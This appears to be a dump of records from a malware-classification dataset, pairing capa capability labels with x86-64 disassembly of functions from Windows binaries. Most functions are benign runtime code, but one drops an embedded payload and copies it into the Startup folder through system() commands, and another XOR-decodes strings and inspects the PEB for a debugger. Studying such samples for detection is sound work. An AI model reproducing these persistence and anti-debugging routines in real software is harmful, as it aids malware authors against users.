joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400fd5e0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rdi
mov qword [rsp + 0x10], rsi
mov rax, rsp
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
push rbx
push rbp
push r12
push r13
push r14
push r15
mov r10, rsp
lea rcx, [rdx - 0x3f]
and rsp, 0xffffffffffffffc0
sub rcx, rsp
neg rcx
and rcx, 0x3c0
sub rsp, rcx
sub rsp, 0x20
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], r10
mov r15, rdx
mov r13d, dword [r15 + 0xf0]
mov eax, dword [rdi]
mov ebx, dword [rdi + 4]
mov ecx, dword [rdi + 8]
mov edx, dword [rdi + 0xc]
shl r13d, 4
lea rbp, [r15 + r13]
mov qword [rsp], r15
mov qword [rsp + 8], rbp
lea r14, [0x1400fef80]
lea rbp, [rsp + 0x300]
sub rbp, r14
and rbp, 0x300
lea r14, [r14 + rbp]
call fcn.1400fd370
mov r9, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov dword [r9], eax
mov dword [r9 + 4], ebx
mov dword [r9 + 8], ecx
mov dword [r9 + 0xc], edx
mov r15, qword [rsi]
mov r14, qword [rsi + 8]
mov r13, qword [rsi + 0x10]
mov r12, qword [rsi + 0x18]
mov rbp, qword [rsi + 0x20]
mov rbx, qword [rsi + 0x28]
lea rsp, [rsi + 0x30]
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
repz ret

Function at 0x1400fd5ed
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rdi
mov qword [rsp + 0x10], rsi
mov rax, rsp
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
push rbx
push rbp
push r12
push r13
push r14
push r15
mov r10, rsp
lea rcx, [rdx - 0x3f]
and rsp, 0xffffffffffffffc0
sub rcx, rsp
neg rcx
and rcx, 0x3c0
sub rsp, rcx
sub rsp, 0x20
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], r10
mov r15, rdx
mov r13d, dword [r15 + 0xf0]
mov eax, dword [rdi]
mov ebx, dword [rdi + 4]
mov ecx, dword [rdi + 8]
mov edx, dword [rdi + 0xc]
shl r13d, 4
lea rbp, [r15 + r13]
mov qword [rsp], r15
mov qword [rsp + 8], rbp
lea r14, [0x1400fef80]
lea rbp, [rsp + 0x300]
sub rbp, r14
and rbp, 0x300
lea r14, [r14 + rbp]
call fcn.1400fd370
mov r9, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov dword [r9], eax
mov dword [r9 + 4], ebx
mov dword [r9 + 8], ecx
mov dword [r9 + 0xc], edx
mov r15, qword [rsi]
mov r14, qword [rsi + 8]
mov r13, qword [rsi + 0x10]
mov r12, qword [rsi + 0x18]
mov rbp, qword [rsi + 0x20]
mov rbx, qword [rsi + 0x28]
lea rsp, [rsi + 0x30]
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
repz ret
Function at 0x1400fd6c0
Capabilities:
Encode data using xor

Disassembly:
xor eax, dword [r15]
xor ebx, dword [r15 + 4]
xor ecx, dword [r15 + 8]
xor edx, dword [r15 + 0xc]
mov r13d, dword [r15 + 0xf0]
sub r13d, 1
jmp 0x1400fd6e0
movzx esi, al
movzx edi, bl
movzx ebp, cl
mov r10d, dword [r14 + rsi*8]
mov r11d, dword [r14 + rdi*8]
mov r12d, dword [r14 + rbp*8]
movzx esi, dh
movzx edi, ah
movzx ebp, dl
xor r10d, dword [r14 + rsi*8 + 3]
xor r11d, dword [r14 + rdi*8 + 3]
mov r8d, dword [r14 + rbp*8]
movzx esi, bh
shr eax, 0x10
movzx ebp, ch
xor r12d, dword [r14 + rsi*8 + 3]
shr edx, 0x10
xor r8d, dword [r14 + rbp*8 + 3]
shr ebx, 0x10
lea r15, [r15 + 0x10]
shr ecx, 0x10
movzx esi, cl
movzx edi, dl
movzx ebp, al
xor r10d, dword [r14 + rsi*8 + 2]
xor r11d, dword [r14 + rdi*8 + 2]
xor r12d, dword [r14 + rbp*8 + 2]
movzx esi, bh
movzx edi, ch
movzx ebp, bl
xor r10d, dword [r14 + rsi*8 + 1]
xor r11d, dword [r14 + rdi*8 + 1]
xor r8d, dword [r14 + rbp*8 + 2]
movzx esi, dh
mov edx, dword [r15 + 0xc]
movzx ebp, ah
xor r12d, dword [r14 + rsi*8 + 1]
mov eax, dword [r15]
xor r8d, dword [r14 + rbp*8 + 1]
xor eax, r10d
mov ebx, dword [r15 + 4]
mov ecx, dword [r15 + 8]
xor ecx, r12d
xor ebx, r11d
xor edx, r8d
sub r13d, 1
jne 0x1400fd6e0
lea r14, [r14 + 0x800]
movzx esi, al
movzx edi, bl
movzx ebp, cl
movzx r10d, byte [r14 + rsi]
movzx r11d, byte [r14 + rdi]
movzx r12d, byte [r14 + rbp]
movzx esi, dl
movzx edi, dh
movzx ebp, ah
movzx r8d, byte [r14 + rsi]
movzx edi, byte [r14 + rdi]
movzx ebp, byte [r14 + rbp]
shl edi, 8
shl ebp, 8
xor r10d, edi
xor r11d, ebp
shr edx, 0x10
movzx esi, bh
movzx edi, ch
shr eax, 0x10
movzx esi, byte [r14 + rsi]
movzx edi, byte [r14 + rdi]
shl esi, 8
shl edi, 8
shr ebx, 0x10
xor r12d, esi
xor r8d, edi
shr ecx, 0x10
movzx esi, cl
movzx edi, dl
movzx ebp, al
movzx esi, byte [r14 + rsi]
movzx edi, byte [r14 + rdi]
movzx ebp, byte [r14 + rbp]
shl esi, 0x10
shl edi, 0x10
shl ebp, 0x10
xor r10d, esi
xor r11d, edi
xor r12d, ebp
movzx esi, bl
movzx edi, bh
movzx ebp, ch
movzx esi, byte [r14 + rsi]
movzx edi, byte [r14 + rdi]
movzx ebp, byte [r14 + rbp]
shl esi, 0x10
shl edi, 0x18
shl ebp, 0x18
xor r8d, esi
xor r10d, edi
xor r11d, ebp
movzx esi, dh
movzx edi, ah
mov edx, dword [r15 + 0x1c]
movzx esi, byte [r14 + rsi]
movzx edi, byte [r14 + rdi]
mov eax, dword [r15 + 0x10]
shl esi, 0x18
shl edi, 0x18
xor r12d, esi
xor r8d, edi
mov ebx, dword [r15 + 0x14]
mov ecx, dword [r15 + 0x18]
lea r14, [r14 - 0x800]
xor eax, r10d
xor ebx, r11d
xor ecx, r12d
xor edx, r8d
repz ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x1403597d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1403597e0]
mov dword [rax], 1
mov rax, qword [0x1403597f0]
mov dword [rax], 1
mov rax, qword [0x140359780]
cmp word [rax], 0x5a4d
jne 0x14000105e
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c8
mov rax, qword [0x1403597c0]
mov dword [0x14035c00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b8
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1403598a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140359880]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140359730]
cmp dword [rax], 1
je 0x140001100
xor eax, eax
add rsp, 0x20
pop rbp
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x14000107b
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001118
cmp dx, 0x20b
jne 0x14000105e
cmp dword [rax + 0x84], 0xe
jbe 0x14000105e
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105e
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x20
pop rbp
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105e
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105e
Function at 0x1400014d4
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
call dbg.__main
lea rax, section..data
mov qword [rbp - 8], rax
lea rax, [0x1403585a0]
mov qword [rbp - 0x10], rax
lea rax, str._AppData_MicrosoftWindowsStart_MenuProgramsStartup_
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.strlen
mov dword [rbp - 0x1c], eax
lea rax, str.music.mp3
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.strlen
mov dword [rbp - 0x2c], eax
mov eax, dword [rbp - 0x1c]
lea edx, [rax + 0xc]
mov eax, dword [rbp - 0x2c]
add eax, edx
mov dword [rbp - 0x30], eax
mov eax, dword [rbp - 0x30]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
mov edx, eax
lea rax, [0x140359043]
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x28]
lea rdx, [0x140359046]
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x40], rax
cmp qword [rbp - 0x40], 0
je 0x1400016d5
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
mov ecx, eax
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp - 8]
mov r9, rdx
mov r8, rcx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp - 0x40]
mov rcx, rax
call sym.fclose
mov rax, qword [rbp - 0x38]
mov dword [rax], 0x79706f63
mov byte [rax + 4], 0
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov word [rax], 0x2220
mov byte [rax + 2], 0
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov dword [rax], 0x222022
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov word [rax], 0x22
mov rax, qword [rbp - 0x38]
mov rdx, rax
lea rax, [0x140359049]
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.system
mov rax, qword [rbp - 0x38]
mov dword [rax], 0x206c6564
mov dword [rax + 3], 0x662f20
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov word [rax], 0x2220
mov byte [rax + 2], 0
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.strcat
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rax, qword [rbp - 0x38]
add rax, rdx
mov word [rax], 0x22
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.system
mov rax, qword [rbp - 0x38]
mov rdx, rax
lea rax, [0x140359049]
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x1400019d0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov rbx, rcx
lea rax, [rbp + 0x28]
mov ecx, 2
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
mov qword [rbp - 8], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rbp - 8]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001a40
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
movsxd rsi, dword [0x14035c0a4]
mov rbx, rcx
test esi, esi
jle 0x140001b70
mov rax, qword [0x14035c0a8]
xor r9d, r9d
add rax, 0x18
nop dword [rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001a8b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b13
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001a70
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001b92
mov rax, qword [0x14035c0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14035c0a8]
lea rdx, [rbp - 0x30]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001b77
mov eax, dword [rbp - 0xc]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001b0c
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001b20
add dword [0x14035c0a4], 1
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 2
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14035c0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b0c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop word [rax + rax]
xor esi, esi
jmp 0x140001a98
mov rax, qword [0x14035c0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140002120
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
lea r13, [0x14035c100]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14035c0e0]
test rbx, rbx
je 0x140002185
mov r12, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov ecx, dword [rbx]
call r12
mov rsi, rax
call rdi
test rsi, rsi
je 0x14000217c
test eax, eax
jne 0x14000217c
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002160
mov rcx, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400023c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400023d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400023e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400023f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000243d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002434
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000243f
add rax, 0x28
cmp rax, r9
jne 0x140002420
xor eax, eax
ret

Function at 0x140002440
Capabilities:
Parse pe header

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400024d8
mov rdx, qword [0x140359780]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400024c6
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400024c6
cmp word [rax + 0x18], 0x20b
jne 0x1400024c6
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400024d8
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400024b1
add rbx, 0x28
cmp rbx, rdi
je 0x1400024d8
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400024a8
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x1400024f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140359780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002510
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002518
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002510
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000256d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002564
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002510
add rax, 0x28
cmp rax, r9
jne 0x140002550
xor eax, eax
ret
Function at 0x140002570
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140359780]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000258f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002598
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000258f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400025b0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140359780]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025d0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025d8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025d0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002620
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002617
test rcx, rcx
je 0x1400025d0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002608
xor eax, eax
ret

Function at 0x140002630
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140359780]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000264f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002658
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002670
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140359780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002690
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002698
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002690
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002690
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400026e4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400026f0
add rdx, 0x28
cmp rdx, r9
jne 0x1400026d0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002700
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140359780]
xor r8d, r8d
cmp word [r11], 0x5a4d
mov r10d, ecx
jne 0x140002724
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
cmp dword [rcx], 0x4550
je 0x140002730
mov rax, r8
ret
cmp word [rcx + 0x18], 0x20b
jne 0x140002724
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x140002724
movzx edx, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rdx, [rcx + rdx + 0x18]
test r9w, r9w
je 0x140002724
lea ecx, [r9 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rdx + 0xc]
mov rcx, r8
cmp rax, r8
jb 0x14000277c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x140002790
add rdx, 0x28
cmp r9, rdx
jne 0x140002768
xor r8d, r8d
mov rax, r8
ret
add rax, r11
jmp 0x1400027a0
sub r10d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x1400027ae
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002785
test r10d, r10d
jg 0x140002798
mov r8d, dword [rax + 0xc]
add r8, r11
mov rax, r8
ret
Function at 0x140002620
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000266a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000266a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000266a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000266a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000266a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000266c
xor al, al
add rsp, 0x28
ret
Function at 0x401ed0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x28
xor r8d, r8d
test rdx, rdx
mov rsi, rcx
mov rbx, rdx
je 0x401eef
mov rcx, rdx
call sub.msvcrt.dll_strlen
mov r8, rax
mov rcx, rbx
mov r9, rsi
mov edx, 1
call sub.msvcrt.dll_fwrite
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp sub.msvcrt.dll_fflush

Function at 0x401f10
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov ecx, 2
call qword [fcn.00413fa0]
mov r8d, 0x3f
mov edx, 1
lea rcx, str._GC__cannot_register_global_variable__too_many_global_variables
mov rbx, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, rbx
call sub.msvcrt.dll_fflush
mov ecx, 1
call sub.msvcrt.dll_exit
nop
Function at 0x4022b0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
test rcx, rcx
mov rdi, rcx
mov rbp, rdx
je 0x4024a3
cmp qword [rcx + 8], 0
mov rbx, rcx
mov rsi, qword [rcx]
js 0x40230f
cmp rsi, 7
mov eax, 7
cmovl rsi, rax
lea rcx, [rsi + 0x11]
call fcn.0040e8d0
lea rdx, [rdi + 0x10]
mov qword [rax], 0
lea rcx, [rax + 0x10]
mov rbx, rax
mov qword [rax + 8], rsi
mov rsi, qword [rdi]
mov qword [rax], rsi
lea r8, [rsi + 1]
call sub.msvcrt.dll_memcpy
test rsi, rsi
jle 0x402497
mov rdx, rbp
mov r8, rbp
mov r9, rbp
lea rax, [rsi - 1]
sar rdx, 8
sar r8, 0x10
sar r9, 0x18
cmp rax, 0xe
jbe 0x4024a7
movd xmm1, edx
movd xmm0, r8d
mov rcx, rsi
punpcklbw xmm1, xmm1
punpcklbw xmm0, xmm0
punpcklwd xmm1, xmm1
punpcklwd xmm0, xmm0
pshufd xmm2, xmm1, 0
and rcx, 0xfffffffffffffff0
pshufd xmm1, xmm0, 0
movd xmm0, ebp
pxor xmm1, xmm2
punpcklbw xmm0, xmm0
mov rax, rbx
punpcklwd xmm0, xmm0
add rcx, rbx
pshufd xmm2, xmm0, 0
movd xmm0, r9d
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pxor xmm0, xmm2
pxor xmm1, xmm0
nop word [rax + rax]
movdqu xmm0, xmmword [rax + 0x10]
add rax, 0x10
pxor xmm0, xmm1
movups xmmword [rax], xmm0
cmp rax, rcx
jne 0x4023a0
mov rax, rsi
and rax, 0xfffffffffffffff0
cmp rax, rsi
je 0x402497
lea rcx, [rax + 1]
xor edx, r8d
xor edx, ebp
xor edx, r9d
xor byte [rbx + rax + 0x10], dl
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 2]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 3]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 4]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 5]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 6]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 7]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 8]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 9]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 0xa]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 0xb]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 0xc]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
lea rcx, [rax + 0xd]
cmp rsi, rcx
jle 0x402497
xor byte [rbx + rcx + 0x10], dl
add rax, 0xe
cmp rsi, rax
jle 0x402497
xor byte [rbx + rax + 0x10], dl
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
jmp 0x402497
xor eax, eax
jmp 0x4023c5
Function at 0x402520
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
test rcx, rcx
mov rbp, rcx
mov rbx, rdx
je 0x4025c4
cmp qword [rcx + 8], 0
mov rdi, rcx
mov rsi, qword [rcx]
js 0x402581
mov r8d, 7
cmp rsi, 7
cmovl rsi, r8
lea rcx, [rsi + 0x11]
call fcn.0040e8d0
lea rdx, [rbp + 0x10]
mov qword [rax], 0
lea rcx, [rax + 0x10]
mov rdi, rax
mov qword [rax + 8], rsi
mov rsi, qword [rbp]
mov qword [rax], rsi
lea r8, [rsi + 1]
call sub.msvcrt.dll_memcpy
lea r8, [rsi + rbx]
mov rdx, rdi
sub rdx, rbx
test rsi, rsi
jle 0x4025b8
mov rax, rbx
mov rcx, rbx
sar rax, 8
sar rcx, 0x10
xor eax, ebx
xor eax, ecx
mov rcx, rbx
sar rcx, 0x18
xor eax, ecx
xor byte [rdx + rbx + 0x10], al
add rbx, 1
cmp rbx, r8
jne 0x402590
mov rax, rdi
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor edi, edi
jmp 0x4025b8

Function at 0x4025d0
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rdi, rcx
mov rcx, qword [0x0048ac90]
mov ebx, edx
mov edx, 0x69164308
lea rbp, [rdi + 2]
call fcn.00402520
mov edx, 0x4683dc18
mov rcx, rax
call fcn.004022b0
movzx r9d, word [rdi]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov r8, qword [rax + 0x20]
lea r12, [rax + 0x20]
nop dword [rax]
mov rax, qword [r8 + 0x50]
test r9w, r9w
movzx r10d, word [rax]
je 0x40267e
test r10w, r10w
je 0x402684
mov r13, rbp
mov edx, r9d
sub r13, rax
jmp 0x402646
cmp word [rax], 0
je 0x40267e
movzx ecx, word [rax]
lea esi, [rdx - 0x41]
lea r11d, [rdx + 0x20]
cmp si, 0x1a
cmovb edx, r11d
lea esi, [rcx - 0x41]
lea r11d, [rcx + 0x20]
cmp si, 0x1a
cmovb ecx, r11d
cmp dx, cx
jne 0x402684
mov rdx, rax
add rax, 2
movzx edx, word [r13 + rdx]
test dx, dx
jne 0x402640
cmp r10w, r9w
je 0x402700
mov r8, qword [r8]
